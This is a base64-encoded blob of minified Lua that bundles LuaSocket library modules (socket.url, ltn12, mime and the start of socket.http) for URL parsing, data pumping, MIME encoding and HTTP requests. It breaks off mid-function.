dHJ5KCkKZnVuY3Rpb24gY2hvb3NlKG8pCnJldHVybiBmdW5jdGlvbih0LGEsaSkKaWYgZS50eXBl
KHQpfj0ic3RyaW5nInRoZW4KdCxhLGk9ImRlZmF1bHQiLHQsYQplbmQKbG9jYWwgbz1vW3Qgb3Ii
bmlsIl0KaWYgbm90IG8gdGhlbiBlLmVycm9yKCJ1bmtub3duIGtleSAoIi4uZS50b3N0cmluZyh0
KS4uIikiLDMpCmVsc2UgcmV0dXJuIG8oYSxpKWVuZAplbmQKZW5kCnNvdXJjZXQ9e30Kc2lua3Q9
e30KQkxPQ0tTSVpFPTIwNDgKc2lua3RbImNsb3NlLXdoZW4tZG9uZSJdPWZ1bmN0aW9uKHQpCnJl
dHVybiBlLnNldG1ldGF0YWJsZSh7CmdldGZkPWZ1bmN0aW9uKClyZXR1cm4gdDpnZXRmZCgpZW5k
LApkaXJ0eT1mdW5jdGlvbigpcmV0dXJuIHQ6ZGlydHkoKWVuZAp9LHsKX19jYWxsPWZ1bmN0aW9u
KGEsZSxhKQppZiBub3QgZSB0aGVuCnQ6Y2xvc2UoKQpyZXR1cm4gMQplbHNlIHJldHVybiB0OnNl
bmQoZSllbmQKZW5kCn0pCmVuZApzaW5rdFsia2VlcC1vcGVuIl09ZnVuY3Rpb24odCkKcmV0dXJu
IGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQsCmRp
cnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oYSxl
LGEpCmlmIGUgdGhlbiByZXR1cm4gdDpzZW5kKGUpCmVsc2UgcmV0dXJuIDEgZW5kCmVuZAp9KQpl
bmQKc2lua3RbImRlZmF1bHQiXT1zaW5rdFsia2VlcC1vcGVuIl0Kc2luaz1jaG9vc2Uoc2lua3Qp
CnNvdXJjZXRbImJ5LWxlbmd0aCJdPWZ1bmN0aW9uKG8sdCkKcmV0dXJuIGUuc2V0bWV0YXRhYmxl
KHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBvOmdldGZkKCllbmQsCmRpcnR5PWZ1bmN0aW9uKCly
ZXR1cm4gbzpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oKQppZiB0PD0wIHRoZW4gcmV0
dXJuIG5pbCBlbmQKbG9jYWwgZT1zLm1pbihhLkJMT0NLU0laRSx0KQpsb2NhbCBlLGE9bzpyZWNl
aXZlKGUpCmlmIGEgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnQ9dC1oLmxlbihlKQpyZXR1cm4gZQpl
bmQKfSkKZW5kCnNvdXJjZXRbInVudGlsLWNsb3NlZCJdPWZ1bmN0aW9uKHQpCmxvY2FsIG8KcmV0
dXJuIGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQs
CmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24o
KQppZiBvIHRoZW4gcmV0dXJuIG5pbCBlbmQKbG9jYWwgaSxlLGE9dDpyZWNlaXZlKGEuQkxPQ0tT
SVpFKQppZiBub3QgZSB0aGVuIHJldHVybiBpCmVsc2VpZiBlPT0iY2xvc2VkInRoZW4KdDpjbG9z
ZSgpCm89MQpyZXR1cm4gYQplbHNlIHJldHVybiBuaWwsZSBlbmQKZW5kCn0pCmVuZApzb3VyY2V0
WyJkZWZhdWx0Il09c291cmNldFsidW50aWwtY2xvc2VkIl0Kc291cmNlPWNob29zZShzb3VyY2V0
KQplbmQpCnBhY2thZ2UucHJlbG9hZFsnc29ja2V0LnVybCddPShmdW5jdGlvbiguLi4pCmxvY2Fs
IGU9cmVxdWlyZSgic3RyaW5nIikKbG9jYWwgbz1fRwpsb2NhbCBpPXJlcXVpcmUoInRhYmxlIikK
bW9kdWxlKCJzb2NrZXQudXJsIikKX1ZFUlNJT049IlVSTCAxLjAuMSIKZnVuY3Rpb24gZXNjYXBl
KHQpCnJldHVybiBlLmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQpyZXR1cm4g
ZS5mb3JtYXQoIiUlJTAyeCIsZS5ieXRlKHQpKQplbmQpCmVuZApsb2NhbCBmdW5jdGlvbiBuKGUp
CmxvY2FsIHQ9e30KZm9yIGEsbyBpbiBvLmlwYWlycyhlKWRvCnRbZVthXV09MQplbmQKcmV0dXJu
IHQKZW5kCmxvY2FsIGE9bnsKIi0iLCJfIiwiLiIsIiEiLCJ+IiwiKiIsIiciLCIoIiwKIikiLCI6
IiwiQCIsIiYiLCI9IiwiKyIsIiQiLCIsIiwKfQpsb2NhbCBmdW5jdGlvbiBuKHQpCnJldHVybiBl
LmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQppZiBhW3RddGhlbiByZXR1cm4g
dAplbHNlIHJldHVybiBlLmZvcm1hdCgiJSUlMDJ4IixlLmJ5dGUodCkpZW5kCmVuZCkKZW5kCmZ1
bmN0aW9uIHVuZXNjYXBlKHQpCnJldHVybiBlLmdzdWIodCwiJSUoJXgleCkiLGZ1bmN0aW9uKHQp
CnJldHVybiBlLmNoYXIoby50b251bWJlcih0LDE2KSkKZW5kKQplbmQKbG9jYWwgZnVuY3Rpb24g
cyh0LGEpCmlmIGUuc3ViKGEsMSwxKT09Ii8idGhlbiByZXR1cm4gYSBlbmQKbG9jYWwgdD1lLmdz
dWIodCwiW14vXSokIiwiIikKdD10Li5hCnQ9ZS5nc3ViKHQsIihbXi9dKiUuLykiLGZ1bmN0aW9u
KGUpCmlmIGV+PSIuLyJ0aGVuIHJldHVybiBlIGVsc2UgcmV0dXJuIiJlbmQKZW5kKQp0PWUuZ3N1
Yih0LCIvJS4kIiwiLyIpCmxvY2FsIGEKd2hpbGUgYX49dCBkbwphPXQKdD1lLmdzdWIoYSwiKFte
L10qLyUuJS4vKSIsZnVuY3Rpb24oZSkKaWYgZX49Ii4uLy4uLyJ0aGVuIHJldHVybiIiZWxzZSBy
ZXR1cm4gZSBlbmQKZW5kKQplbmQKdD1lLmdzdWIoYSwiKFteL10qLyUuJS4pJCIsZnVuY3Rpb24o
ZSkKaWYgZX49Ii4uLy4uInRoZW4gcmV0dXJuIiJlbHNlIHJldHVybiBlIGVuZAplbmQpCnJldHVy
biB0CmVuZApmdW5jdGlvbiBwYXJzZShhLGkpCmxvY2FsIHQ9e30KZm9yIGUsYSBpbiBvLnBhaXJz
KGkgb3IgdClkbyB0W2VdPWEgZW5kCmlmIG5vdCBhIG9yIGE9PSIidGhlbiByZXR1cm4gbmlsLCJp
bnZhbGlkIHVybCJlbmQKYT1lLmdzdWIoYSwiIyguKikkIixmdW5jdGlvbihlKQp0LmZyYWdtZW50
PWUKcmV0dXJuIiIKZW5kKQphPWUuZ3N1YihhLCJeKFsld11bJXclKyUtJS5dKiklOiIsCmZ1bmN0
aW9uKGUpdC5zY2hlbWU9ZTtyZXR1cm4iImVuZCkKYT1lLmdzdWIoYSwiXi8vKFteL10qKSIsZnVu
Y3Rpb24oZSkKdC5hdXRob3JpdHk9ZQpyZXR1cm4iIgplbmQpCmE9ZS5nc3ViKGEsIiU/KC4qKSIs
ZnVuY3Rpb24oZSkKdC5xdWVyeT1lCnJldHVybiIiCmVuZCkKYT1lLmdzdWIoYSwiJTsoLiopIixm
dW5jdGlvbihlKQp0LnBhcmFtcz1lCnJldHVybiIiCmVuZCkKaWYgYX49IiJ0aGVuIHQucGF0aD1h
IGVuZApsb2NhbCBhPXQuYXV0aG9yaXR5CmlmIG5vdCBhIHRoZW4gcmV0dXJuIHQgZW5kCmE9ZS5n
c3ViKGEsIl4oW15AXSopQCIsCmZ1bmN0aW9uKGUpdC51c2VyaW5mbz1lO3JldHVybiIiZW5kKQph
PWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucG9ydD1lO3JldHVybiIiZW5kKQpp
ZiBhfj0iInRoZW4gdC5ob3N0PWEgZW5kCmxvY2FsIGE9dC51c2VyaW5mbwppZiBub3QgYSB0aGVu
IHJldHVybiB0IGVuZAphPWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucGFzc3dv
cmQ9ZTtyZXR1cm4iImVuZCkKdC51c2VyPWEKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkKGUp
CmxvY2FsIHQ9cGFyc2VfcGF0aChlLnBhdGggb3IiIikKbG9jYWwgdD1idWlsZF9wYXRoKHQpCmlm
IGUucGFyYW1zIHRoZW4gdD10Li4iOyIuLmUucGFyYW1zIGVuZAppZiBlLnF1ZXJ5IHRoZW4gdD10
Li4iPyIuLmUucXVlcnkgZW5kCmxvY2FsIGE9ZS5hdXRob3JpdHkKaWYgZS5ob3N0IHRoZW4KYT1l
Lmhvc3QKaWYgZS5wb3J0IHRoZW4gYT1hLi4iOiIuLmUucG9ydCBlbmQKbG9jYWwgdD1lLnVzZXJp
bmZvCmlmIGUudXNlciB0aGVuCnQ9ZS51c2VyCmlmIGUucGFzc3dvcmQgdGhlbgp0PXQuLiI6Ii4u
ZS5wYXNzd29yZAplbmQKZW5kCmlmIHQgdGhlbiBhPXQuLiJAIi4uYSBlbmQKZW5kCmlmIGEgdGhl
biB0PSIvLyIuLmEuLnQgZW5kCmlmIGUuc2NoZW1lIHRoZW4gdD1lLnNjaGVtZS4uIjoiLi50IGVu
ZAppZiBlLmZyYWdtZW50IHRoZW4gdD10Li4iIyIuLmUuZnJhZ21lbnQgZW5kCnJldHVybiB0CmVu
ZApmdW5jdGlvbiBhYnNvbHV0ZSh0LGEpCmlmIG8udHlwZSh0KT09InRhYmxlInRoZW4KYmFzZV9w
YXJzZWQ9dAp0PWJ1aWxkKGJhc2VfcGFyc2VkKQplbHNlCmJhc2VfcGFyc2VkPXBhcnNlKHQpCmVu
ZApsb2NhbCBlPXBhcnNlKGEpCmlmIG5vdCBiYXNlX3BhcnNlZCB0aGVuIHJldHVybiBhCmVsc2Vp
ZiBub3QgZSB0aGVuIHJldHVybiB0CmVsc2VpZiBlLnNjaGVtZSB0aGVuIHJldHVybiBhCmVsc2UK
ZS5zY2hlbWU9YmFzZV9wYXJzZWQuc2NoZW1lCmlmIG5vdCBlLmF1dGhvcml0eSB0aGVuCmUuYXV0
aG9yaXR5PWJhc2VfcGFyc2VkLmF1dGhvcml0eQppZiBub3QgZS5wYXRoIHRoZW4KZS5wYXRoPWJh
c2VfcGFyc2VkLnBhdGgKaWYgbm90IGUucGFyYW1zIHRoZW4KZS5wYXJhbXM9YmFzZV9wYXJzZWQu
cGFyYW1zCmlmIG5vdCBlLnF1ZXJ5IHRoZW4KZS5xdWVyeT1iYXNlX3BhcnNlZC5xdWVyeQplbmQK
ZW5kCmVsc2UKZS5wYXRoPXMoYmFzZV9wYXJzZWQucGF0aCBvciIiLAplLnBhdGgpCmVuZAplbmQK
cmV0dXJuIGJ1aWxkKGUpCmVuZAplbmQKZnVuY3Rpb24gcGFyc2VfcGF0aChhKQpsb2NhbCB0PXt9
CmE9YSBvciIiCmUuZ3N1YihhLCIoW14vXSspIixmdW5jdGlvbihlKWkuaW5zZXJ0KHQsZSllbmQp
CmZvciBlPTEsaS5nZXRuKHQpZG8KdFtlXT11bmVzY2FwZSh0W2VdKQplbmQKaWYgZS5zdWIoYSwx
LDEpPT0iLyJ0aGVuIHQuaXNfYWJzb2x1dGU9MSBlbmQKaWYgZS5zdWIoYSwtMSwtMSk9PSIvInRo
ZW4gdC5pc19kaXJlY3Rvcnk9MSBlbmQKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkX3BhdGgo
dCxvKQpsb2NhbCBlPSIiCmxvY2FsIGE9aS5nZXRuKHQpCmlmIG8gdGhlbgpmb3IgYT0xLGEtMSBk
bwplPWUuLnRbYV0KZT1lLi4iLyIKZW5kCmlmIGE+MCB0aGVuCmU9ZS4udFthXQppZiB0LmlzX2Rp
cmVjdG9yeSB0aGVuIGU9ZS4uIi8iZW5kCmVuZAplbHNlCmZvciBhPTEsYS0xIGRvCmU9ZS4ubih0
W2FdKQplPWUuLiIvIgplbmQKaWYgYT4wIHRoZW4KZT1lLi5uKHRbYV0pCmlmIHQuaXNfZGlyZWN0
b3J5IHRoZW4gZT1lLi4iLyJlbmQKZW5kCmVuZAppZiB0LmlzX2Fic29sdXRlIHRoZW4gZT0iLyIu
LmUgZW5kCnJldHVybiBlCmVuZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbHRuMTInXT0oZnVuY3Rp
b24oLi4uKQpsb2NhbCBzPXJlcXVpcmUoInN0cmluZyIpCmxvY2FsIG89cmVxdWlyZSgidGFibGUi
KQpsb2NhbCBlPV9HCm1vZHVsZSgibHRuMTIiKQpmaWx0ZXI9e30Kc291cmNlPXt9CnNpbms9e30K
cHVtcD17fQpCTE9DS1NJWkU9MjA0OApfVkVSU0lPTj0iTFROMTIgMS4wLjEiCmZ1bmN0aW9uIGZp
bHRlci5jeWNsZShhLHQsbykKZS5hc3NlcnQoYSkKcmV0dXJuIGZ1bmN0aW9uKGkpCmxvY2FsIGUK
ZSx0PWEodCxpLG8pCnJldHVybiBlCmVuZAplbmQKZnVuY3Rpb24gZmlsdGVyLmNoYWluKC4uLikK
bG9jYWwgbj1vLmdldG4oYXJnKQpsb2NhbCBvLGE9MSwxCmxvY2FsIGk9IiIKcmV0dXJuIGZ1bmN0
aW9uKHQpCmk9dCBhbmQgaQp3aGlsZSB0cnVlIGRvCmlmIGE9PW8gdGhlbgp0PWFyZ1thXSh0KQpp
ZiB0PT0iIm9yIG89PW4gdGhlbiByZXR1cm4gdAplbHNlaWYgdCB0aGVuIGE9YSsxCmVsc2UKbz1v
KzEKYT1vCmVuZAplbHNlCnQ9YXJnW2FdKHQgb3IiIikKaWYgdD09IiJ0aGVuCmE9YS0xCnQ9aQpl
bHNlaWYgdCB0aGVuCmlmIGE9PW4gdGhlbiByZXR1cm4gdAplbHNlIGE9YSsxIGVuZAplbHNlIGUu
ZXJyb3IoImZpbHRlciByZXR1cm5lZCBpbmFwcHJvcHJpYXRlIG5pbCIpZW5kCmVuZAplbmQKZW5k
CmVuZApsb2NhbCBmdW5jdGlvbiB0KCkKcmV0dXJuIG5pbAplbmQKZnVuY3Rpb24gc291cmNlLmVt
cHR5KCkKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5lcnJvcihlKQpyZXR1cm4gZnVuY3Rp
b24oKQpyZXR1cm4gbmlsLGUKZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UuZmlsZShlLGEpCmlmIGUg
dGhlbgpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCB0PWU6cmVhZChCTE9DS1NJWkUpCmlmIG5vdCB0
IHRoZW4gZTpjbG9zZSgpZW5kCnJldHVybiB0CmVuZAplbHNlIHJldHVybiBzb3VyY2UuZXJyb3Io
YSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5zaW1wbGlm
eSh0KQplLmFzc2VydCh0KQpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCBlLGE9dCgpCnQ9YSBvciB0
CmlmIG5vdCBlIHRoZW4gcmV0dXJuIG5pbCxhCmVsc2UgcmV0dXJuIGUgZW5kCmVuZAplbmQKZnVu
Y3Rpb24gc291cmNlLnN0cmluZyh0KQppZiB0IHRoZW4KbG9jYWwgZT0xCnJldHVybiBmdW5jdGlv
bigpCmxvY2FsIHQ9cy5zdWIodCxlLGUrQkxPQ0tTSVpFLTEpCmU9ZStCTE9DS1NJWkUKaWYgdH49
IiJ0aGVuIHJldHVybiB0CmVsc2UgcmV0dXJuIG5pbCBlbmQKZW5kCmVsc2UgcmV0dXJuIHNvdXJj
ZS5lbXB0eSgpZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UucmV3aW5kKGEpCmUuYXNzZXJ0KGEpCmxv
Y2FsIHQ9e30KcmV0dXJuIGZ1bmN0aW9uKGUpCmlmIG5vdCBlIHRoZW4KZT1vLnJlbW92ZSh0KQpp
ZiBub3QgZSB0aGVuIHJldHVybiBhKCkKZWxzZSByZXR1cm4gZSBlbmQKZWxzZQpvLmluc2VydCh0
LGUpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5jaGFpbihzLG4pCmUuYXNzZXJ0KHMgYW5k
IG4pCmxvY2FsIGEsdD0iIiwiIgpsb2NhbCBpPSJmZWVkaW5nIgpsb2NhbCBvCnJldHVybiBmdW5j
dGlvbigpCmlmIG5vdCB0IHRoZW4KZS5lcnJvcignc291cmNlIGlzIGVtcHR5IScsMikKZW5kCndo
aWxlIHRydWUgZG8KaWYgaT09ImZlZWRpbmcidGhlbgphLG89cygpCmlmIG8gdGhlbiByZXR1cm4g
bmlsLG8gZW5kCnQ9bihhKQppZiBub3QgdCB0aGVuCmlmIGEgdGhlbgplLmVycm9yKCdmaWx0ZXIg
cmV0dXJuZWQgaW5hcHByb3ByaWF0ZSBuaWwnKQplbHNlCnJldHVybiBuaWwKZW5kCmVsc2VpZiB0
fj0iInRoZW4KaT0iZWF0aW5nIgppZiBhIHRoZW4gYT0iImVuZApyZXR1cm4gdAplbmQKZWxzZQp0
PW4oYSkKaWYgdD09IiJ0aGVuCmlmIGE9PSIidGhlbgppPSJmZWVkaW5nIgplbHNlCmUuZXJyb3Io
J2ZpbHRlciByZXR1cm5lZCAiIicpCmVuZAplbHNlaWYgbm90IHQgdGhlbgppZiBhIHRoZW4KZS5l
cnJvcignZmlsdGVyIHJldHVybmVkIGluYXBwcm9wcmlhdGUgbmlsJykKZWxzZQpyZXR1cm4gbmls
CmVuZAplbHNlCnJldHVybiB0CmVuZAplbmQKZW5kCmVuZAplbmQKZnVuY3Rpb24gc291cmNlLmNh
dCguLi4pCmxvY2FsIGU9by5yZW1vdmUoYXJnLDEpCnJldHVybiBmdW5jdGlvbigpCndoaWxlIGUg
ZG8KbG9jYWwgdCxhPWUoKQppZiB0IHRoZW4gcmV0dXJuIHQgZW5kCmlmIGEgdGhlbiByZXR1cm4g
bmlsLGEgZW5kCmU9by5yZW1vdmUoYXJnLDEpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNpbmsudGFi
bGUoZSkKZT1lIG9ye30KbG9jYWwgdD1mdW5jdGlvbih0LGEpCmlmIHQgdGhlbiBvLmluc2VydChl
LHQpZW5kCnJldHVybiAxCmVuZApyZXR1cm4gdCxlCmVuZApmdW5jdGlvbiBzaW5rLnNpbXBsaWZ5
KHQpCmUuYXNzZXJ0KHQpCnJldHVybiBmdW5jdGlvbihlLGEpCmxvY2FsIGEsZT10KGUsYSkKaWYg
bm90IGEgdGhlbiByZXR1cm4gbmlsLGUgZW5kCnQ9ZSBvciB0CnJldHVybiAxCmVuZAplbmQKZnVu
Y3Rpb24gc2luay5maWxlKGUsYSkKaWYgZSB0aGVuCnJldHVybiBmdW5jdGlvbih0LGEpCmlmIG5v
dCB0IHRoZW4KZTpjbG9zZSgpCnJldHVybiAxCmVsc2UgcmV0dXJuIGU6d3JpdGUodCllbmQKZW5k
CmVsc2UgcmV0dXJuIHNpbmsuZXJyb3IoYSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5k
CmxvY2FsIGZ1bmN0aW9uIHQoKQpyZXR1cm4gMQplbmQKZnVuY3Rpb24gc2luay5udWxsKCkKcmV0
dXJuIHQKZW5kCmZ1bmN0aW9uIHNpbmsuZXJyb3IoZSkKcmV0dXJuIGZ1bmN0aW9uKCkKcmV0dXJu
IG5pbCxlCmVuZAplbmQKZnVuY3Rpb24gc2luay5jaGFpbihhLG8pCmUuYXNzZXJ0KGEgYW5kIG8p
CnJldHVybiBmdW5jdGlvbih0LGkpCmlmIHR+PSIidGhlbgpsb2NhbCBlPWEodCkKbG9jYWwgdD10
IGFuZCIiCndoaWxlIHRydWUgZG8KbG9jYWwgaSxvPW8oZSxpKQppZiBub3QgaSB0aGVuIHJldHVy
biBuaWwsbyBlbmQKaWYgZT09dCB0aGVuIHJldHVybiAxIGVuZAplPWEodCkKZW5kCmVsc2UgcmV0
dXJuIDEgZW5kCmVuZAplbmQKZnVuY3Rpb24gcHVtcC5zdGVwKGUsYSkKbG9jYWwgdCxlPWUoKQps
b2NhbCBvLGE9YSh0LGUpCmlmIHQgYW5kIG8gdGhlbiByZXR1cm4gMQplbHNlIHJldHVybiBuaWws
ZSBvciBhIGVuZAplbmQKZnVuY3Rpb24gcHVtcC5hbGwobyxhLHQpCmUuYXNzZXJ0KG8gYW5kIGEp
CnQ9dCBvciBwdW1wLnN0ZXAKd2hpbGUgdHJ1ZSBkbwpsb2NhbCB0LGU9dChvLGEpCmlmIG5vdCB0
IHRoZW4KaWYgZSB0aGVuIHJldHVybiBuaWwsZQplbHNlIHJldHVybiAxIGVuZAplbmQKZW5kCmVu
ZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbWltZSddPShmdW5jdGlvbiguLi4pCmxvY2FsIG89X0cK
bG9jYWwgZT1yZXF1aXJlKCJsdG4xMiIpCmxvY2FsIHQ9cmVxdWlyZSgibWltZS5jb3JlIikKbG9j
YWwgdD1yZXF1aXJlKCJpbyIpCmxvY2FsIG49cmVxdWlyZSgic3RyaW5nIikKbW9kdWxlKCJtaW1l
IikKZW5jb2RldD17fQpkZWNvZGV0PXt9CndyYXB0PXt9CmxvY2FsIGZ1bmN0aW9uIGEoYSkKcmV0
dXJuIGZ1bmN0aW9uKGUsdCxpKQppZiBvLnR5cGUoZSl+PSJzdHJpbmcidGhlbgplLHQsaT0iZGVm
YXVsdCIsZSx0CmVuZApsb2NhbCBhPWFbZSBvciJuaWwiXQppZiBub3QgYSB0aGVuCm8uZXJyb3Io
InVua25vd24ga2V5ICgiLi5vLnRvc3RyaW5nKGUpLi4iKSIsMykKZWxzZSByZXR1cm4gYSh0LGkp
ZW5kCmVuZAplbmQKZW5jb2RldFsnYmFzZTY0J109ZnVuY3Rpb24oKQpyZXR1cm4gZS5maWx0ZXIu
Y3ljbGUoYjY0LCIiKQplbmQKZW5jb2RldFsncXVvdGVkLXByaW50YWJsZSddPWZ1bmN0aW9uKHQp
CnJldHVybiBlLmZpbHRlci5jeWNsZShxcCwiIiwKKHQ9PSJiaW5hcnkiKWFuZCI9MEQ9MEEib3Ii
XHJcbiIpCmVuZApkZWNvZGV0WydiYXNlNjQnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5j
eWNsZSh1bmI2NCwiIikKZW5kCmRlY29kZXRbJ3F1b3RlZC1wcmludGFibGUnXT1mdW5jdGlvbigp
CnJldHVybiBlLmZpbHRlci5jeWNsZSh1bnFwLCIiKQplbmQKbG9jYWwgZnVuY3Rpb24gdChlKQpp
ZiBlIHRoZW4KaWYgZT09IiJ0aGVuIHJldHVybiInJyIKZWxzZSByZXR1cm4gbi5sZW4oZSllbmQK
ZWxzZSByZXR1cm4ibmlsImVuZAplbmQKd3JhcHRbJ3RleHQnXT1mdW5jdGlvbih0KQp0PXQgb3Ig
NzYKcmV0dXJuIGUuZmlsdGVyLmN5Y2xlKHdycCx0LHQpCmVuZAp3cmFwdFsnYmFzZTY0J109d3Jh
cHRbJ3RleHQnXQp3cmFwdFsnZGVmYXVsdCddPXdyYXB0Wyd0ZXh0J10Kd3JhcHRbJ3F1b3RlZC1w
cmludGFibGUnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5jeWNsZShxcHdycCw3Niw3NikK
ZW5kCmVuY29kZT1hKGVuY29kZXQpCmRlY29kZT1hKGRlY29kZXQpCndyYXA9YSh3cmFwdCkKZnVu
Y3Rpb24gbm9ybWFsaXplKHQpCnJldHVybiBlLmZpbHRlci5jeWNsZShlb2wsMCx0KQplbmQKZnVu
Y3Rpb24gc3R1ZmYoKQpyZXR1cm4gZS5maWx0ZXIuY3ljbGUoZG90LDIpCmVuZAplbmQpCnBhY2th
Z2UucHJlbG9hZFsnc29ja2V0Lmh0dHAnXT0oZnVuY3Rpb24oLi4uKQpsb2NhbCB0PXJlcXVpcmUo
InNvY2tldCIpCmxvY2FsIGg9cmVxdWlyZSgic29ja2V0LnVybCIpCmxvY2FsIGk9cmVxdWlyZSgi
bHRuMTIiKQpsb2NhbCBsPXJlcXVpcmUoIm1pbWUiKQpsb2NhbCBvPXJlcXVpcmUoInN0cmluZyIp
CmxvY2FsIGE9X0cKbG9jYWwgZD1yZXF1aXJlKCJ0YWJsZSIpCm1vZHVsZSgic29ja2V0Lmh0dHAi
KQpUSU1FT1VUPTYwClBPUlQ9ODAKVVNFUkFHRU5UPXQuX1ZFUlNJT04KbG9jYWwgZnVuY3Rpb24g
cihoLGkpCmxvY2FsIG4sYSxzLGUKaT1pIG9ye30KbixlPWg6cmVjZWl2ZSgpCmlmIGUgdGhlbiBy
ZXR1cm4gbmlsLGUgZW5kCndoaWxlIG5+PSIiZG8KYSxzPXQuc2tpcCgyLG8uZmluZChuLCJeKC4t
KTolcyooLiopIikpCmlmIG5vdChhIGFuZCBzKXRoZW4gcmV0dXJuIG5pbCwibWFsZm9ybWVkIHJl
cG9uc2UgaGVhZGVycyJlbmQKYT1vLmxvd2VyKGEpCm4sZT1oOnJlY2VpdmUoKQppZiBlIHRoZW4g
cmV0dXJuIG5pbCxlIGVuZAp3aGlsZSBvLmZpbmQobiwiXiVzIilkbwpzPXMuLm4Kbj1oOnJlY2Vp
dmUoKQppZiBlIHRoZW4gcmV0dXJuIG5pbCxlIGVuZAplbmQKaWYgaVthXXRoZW4gaVthXT1pW2Fd
Li4iLCAiLi5zCmVsc2UgaVthXT1zIGVuZAplbmQKcmV0dXJuIGkKZW5kCnQuc291cmNldFsiaHR0
cC1jaHVua2VkIl09ZnVuY3Rpb24oZSxpKQpyZXR1cm4gYS5zZXRtZXRhdGFibGUoewpnZXRmZD1m
dW5jdGlvbigpcmV0dXJuIGU6Z2V0ZmQoKWVuZCwKZGlydHk9ZnVuY3Rpb24oKXJldHVybiBlOmRp
cnR5KCllbmQKfSx7Cl9fY2FsbD1mdW5jdGlvbigpCmxvY2FsIG4sdD1lOnJlY2VpdmUoKQppZiB0
IHRoZW4gcmV0dXJuIG5pbCx0IGVuZApsb2NhbCBhPWEudG9udW1iZXIoby5nc3ViKG4sIjsuKiIs
IiIpLDE2KQppZiBub3QgYSB0aGVuIHJldHVybiBuaWwsImludmFsaWQgY2h1bmsgc2l6ZSJlbmQK
aWYgYT4wIHRoZW4KbG9jYWwgdCxhLG89ZTpyZWNlaXZlKGEpCmlmIHQgdGhlbiBlOnJlY2VpdmUo
KWVuZApyZXR1cm4gdCxhCmVsc2UKaSx0PXIoZSxpKQppZiBub3QgaSB0aGVuIHJldHVybiBuaWws
dCBlbmQKZW5kCmVuZAp9KQplbmQKdC5zaW5rdFsiaHR0cC1jaHVua2VkIl09ZnVuY3Rpb24oZSkK
cmV0dXJuIGEuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBlOmdldGZkKCll
bmQsCmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gZTpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rp
b24oYSx0LGEpCmlmIG5vdCB0IHRoZW4gcmV0dXJuIGU6c2VuZCgiMFxyXG5cclxuIillbmQKbG9j
YWwgYT1vLmZvcm1hdCgiJVhcclxuIixvLmxlbih0KSkKcmV0dXJuIGU6c2VuZChhLi50Li4iXHJc
biIpCmVuZAp9KQplbmQKbG9jYWwgZT17X19pbmRleD17fX0KZnVuY3Rpb24gb3BlbihpLG4sbykK
bG9jYWwgbz10LnRyeSgobyBvciB0LnRjcCkoKSkKbG9jYWwgZT1hLnNldG1ldGF0YWJsZSh7Yz1v
fSxlKQplLnRyeT10Lm5ld3RyeShmdW5jdGlvbigpZTpjbG9zZSgpZW5kKQplLnRyeShvOnNldHRp
bWVvdXQoVElNRU9VVCkpCmUudHJ5KG86Y29ubmVjdChpLG4gb3IgUE9SVCkpCnJldHVybiBlCmVu
ZApmdW5jdGlvbiBlLl9faW5kZXg6c2VuZHJlcXVlc3RsaW5lKGUsdCkKbG9jYWwgZT1vLmZvcm1h
dCgiJXMgJXMgSFRUUC8xLjFcclxuIixlIG9yIkdFVCIsdCkKcmV0dXJuIHNlbGYudHJ5KHNlbGYu
YzpzZW5kKGUpKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnNlbmRoZWFkZXJzKHQpCmxvY2FsIGU9
IlxyXG4iCmZvciB0LGEgaW4gYS5wYWlycyh0KWRvCmU9dC4uIjogIi4uYS4uIlxyXG4iLi5lCmVu
ZApzZWxmLnRyeShzZWxmLmM6c2VuZChlKSkKcmV0dXJuIDEKZW5kCmZ1bmN0aW9uIGUuX19pbmRl
eDpzZW5kYm9keShuLGUsYSkKZT1lIG9yIGkuc291cmNlLmVtcHR5KCkKYT1hIG9yIGkucHVtcC5z
dGVwCmxvY2FsIG89Imh0dHAtY2h1bmtlZCIKaWYgblsiY29udGVudC1sZW5ndGgiXXRoZW4gbz0i
a2VlcC1vcGVuImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbChlLHQuc2luayhvLHNlbGYu
YyksYSkpCmVuZApmdW5jdGlvbiBlLl9faW5kZXg6cmVjZWl2ZXN0YXR1c2xpbmUoKQpsb2NhbCBl
PXNlbGYudHJ5KHNlbGYuYzpyZWNlaXZlKDUpKQppZiBlfj0iSFRUUC8idGhlbiByZXR1cm4gbmls
